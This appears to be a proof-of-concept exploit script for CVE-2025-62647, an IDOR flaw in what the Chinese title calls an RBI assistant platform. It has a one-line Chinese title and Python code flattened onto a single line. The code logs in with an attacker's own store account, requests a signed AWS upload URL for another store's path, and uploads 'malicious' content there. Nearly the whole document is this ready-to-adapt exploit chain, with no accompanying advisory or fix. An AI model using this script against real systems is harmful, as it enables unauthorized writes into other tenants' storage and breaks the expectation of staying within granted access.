CVE-2025-62647 RBI助手平台JWT越权访问任意门店路径漏洞

# CVE-2025-62647 - RBI Assistant Platform IDOR Vulnerability PoC # Exploits JWT-based API to retrieve AWS signed upload URLs for arbitrary store paths import requests import json # Step 1: Obtain a valid JWT token (e.g., by registering a legitimate store account) # Replace with actual authentication endpoint AUTH_URL = "https://rbi-assistant.example.com/api/auth/login" STORE_CREDENTIALS = { "username": "attacker_store_user", "password": "attacker_password" } def get_jwt_token(auth_url, credentials): """Authenticate and retrieve a valid JWT token""" response = requests.post(auth_url, json=credentials) if response.status_code == 200: token = response.json().get("token") return token return None # Step 2: Define the API endpoint that returns AWS signed upload URLs UPLOAD_URL_API = "https://rbi-assistant.example.com/api/get-upload-url" def exploit_idor(token, target_store_path): """ Exploit the IDOR vulnerability by requesting an AWS upload URL for a store path that the authenticated user should not have access to. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "store_path": target_store_path, # Path belonging to another store "file_name": "malicious_file.txt" } response = requests.post(UPLOAD_URL_API, headers=headers, json=payload) if response.status_code == 200: signed_url = response.json().get("upload_url") print(f"[+] Successfully obtained signed URL for target store: {target_store_path}") print(f"[+] Signed URL: {signed_url}") return signed_url else: print(f"[-] Failed. Status code: {response.status_code}") return None # Step 3: Use the signed URL to upload arbitrary content to the target store def upload_to_target(signed_url, content): """Upload malicious content to the target store's S3 bucket""" response = requests.put(signed_url, data=content) if response.status_code == 200: print("[+] File successfully uploaded to target store!") else: print(f"[-] Upload failed. Status code: {response.status_code}") # Main exploit chain if __name__ == "__main__": # Get a legitimate JWT token jwt_token = get_jwt_token(AUTH_URL, STORE_CREDENTIALS) if jwt_token: print(f"[+] JWT token obtained: {jwt_token[:30]}...") # Target a different store's path (IDOR exploitation) target_path = "stores/victim_store_id/uploads/" signed_url = exploit_idor(jwt_token, target_path) if signed_url: # Upload arbitrary content upload_to_target(signed_url, b"Malicious content - arbitrary file upload") else: print("[-] Failed to obtain JWT token")